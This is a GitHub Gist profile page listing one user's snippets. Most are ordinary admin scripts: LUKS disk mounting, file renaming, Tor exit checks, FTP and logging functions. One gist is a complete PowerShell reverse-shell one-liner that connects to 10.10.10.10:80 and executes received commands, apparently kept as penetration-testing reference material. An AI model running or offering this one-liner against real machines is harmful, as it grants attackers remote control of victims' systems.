Skip to content

Instantly share code, notes, and snippets.

View atao's full-sized avatar
🇲🇫

ATAO atao

🇲🇫
View GitHub Profile
@atao
atao / ddluks.sh
Created September 25, 2024 11:02
Mount and dismount an encrypted disk with LUKS.
#!/bin/bash
# Variables
DEVICE="/dev/sda" # Remplacez par le chemin de votre disque chiffré
MOUNT_POINT="/mnt/DD" # Remplacez par le point de montage souhaité
CRYPT_NAME="DD" # Nom du volume chiffré
# Fonction pour monter le disque
mount_disk() {
# Vérifier si le point de montage existe, sinon le créer
@atao
atao / rename.sh
Created September 23, 2024 19:02
Rename my Spypoint pictures
#!/bin/bash
# Check if a directory has been provided as an argument
if [ "$#" -ne 1 ]; then
echo "Usage: $0 path_to_directory"
exit 1
fi
directory="$1"
@atao
atao / check_tor.py
Last active February 6, 2024 21:08
Check Tor exit node IP
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import requests
from lxml import html
proxy_url = "socks5://localhost:9050"
proxies = {"http": proxy_url, "https": proxy_url}
r = requests.Session()
#!/bin/bash
if ! command -v toilet -h &> /dev/null
then
echo "toilet could not be found"
exit
fi
if (( $# == 0 )); then
echo "No parameters provided"
@atao
atao / powershell_reverse_shell.ps1
Created April 7, 2020 21:46 — forked from egre55/powershell_reverse_shell.ps1
powershell reverse shell one-liner by Nikhil SamratAshok Mittal @samratashok
# Nikhil SamratAshok Mittal: http://www.labofapenetrationtester.com/2015/05/week-of-powershell-shells-day-1.html
$client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
@atao
atao / journalisation.ps1
Last active December 19, 2019 10:00
Fonctions de journalisation #PowerShell
#region Journalisation
function initLog {
param(
[string]$loggerPath = "$PSScriptRoot\file.log"
)
if (!(Test-Path $loggerPath)){New-Item -Path $loggerPath -ItemType File}
loggerInfo "-----------------------------------------------" $loggerPath
loggerInfo "+ Programme : BackupAndSend" $loggerPath
loggerInfo "+ Version : 18/12/2019" $loggerPath
loggerInfo "-----------------------------------------------" $loggerPath
@atao
atao / GetByFTP.ps1
Last active February 27, 2020 11:19
function GetByFTP
function GetByFTP()
{
param (
$userFTP = "anonymous",
$passFTP = "anonymous",
[Parameter(Mandatory=$True)]$serverFTP,
[Parameter(Mandatory=$True)]$localPath,
[Parameter(Mandatory=$True)]$remoteFile
)
$localFile = Join-Path -Path $localPath -ChildPath $remoteFile.split('/')[-1]
@atao
atao / instagram.py
Created August 6, 2019 08:23
Get number of instagram followers
import requests
import re
username = "UserProfile"
try:
r = requests.get('https://www.instagram.com/'+username)
followers = re.findall( r'userInteractionCount":"(\d*)"', r.text)
user = re.findall( r'alternateName":"@(\w+)', r.text)
print("@"+ user[0], ":", followers[0], "followers")
@atao
atao / SendByFTP.ps1
Last active April 25, 2019 15:21
function SendByFTP
function SendByFTP {
param (
$userFTP = "anonymous",
$passFTP = "anonymous",
[Parameter(Mandatory=$True)]$serverFTP,
[Parameter(Mandatory=$True)]$localFile,
[Parameter(Mandatory=$True)]$remotePath
)
if(Test-Path $localFile){
$remoteFile = $localFile.Split("\")[-1]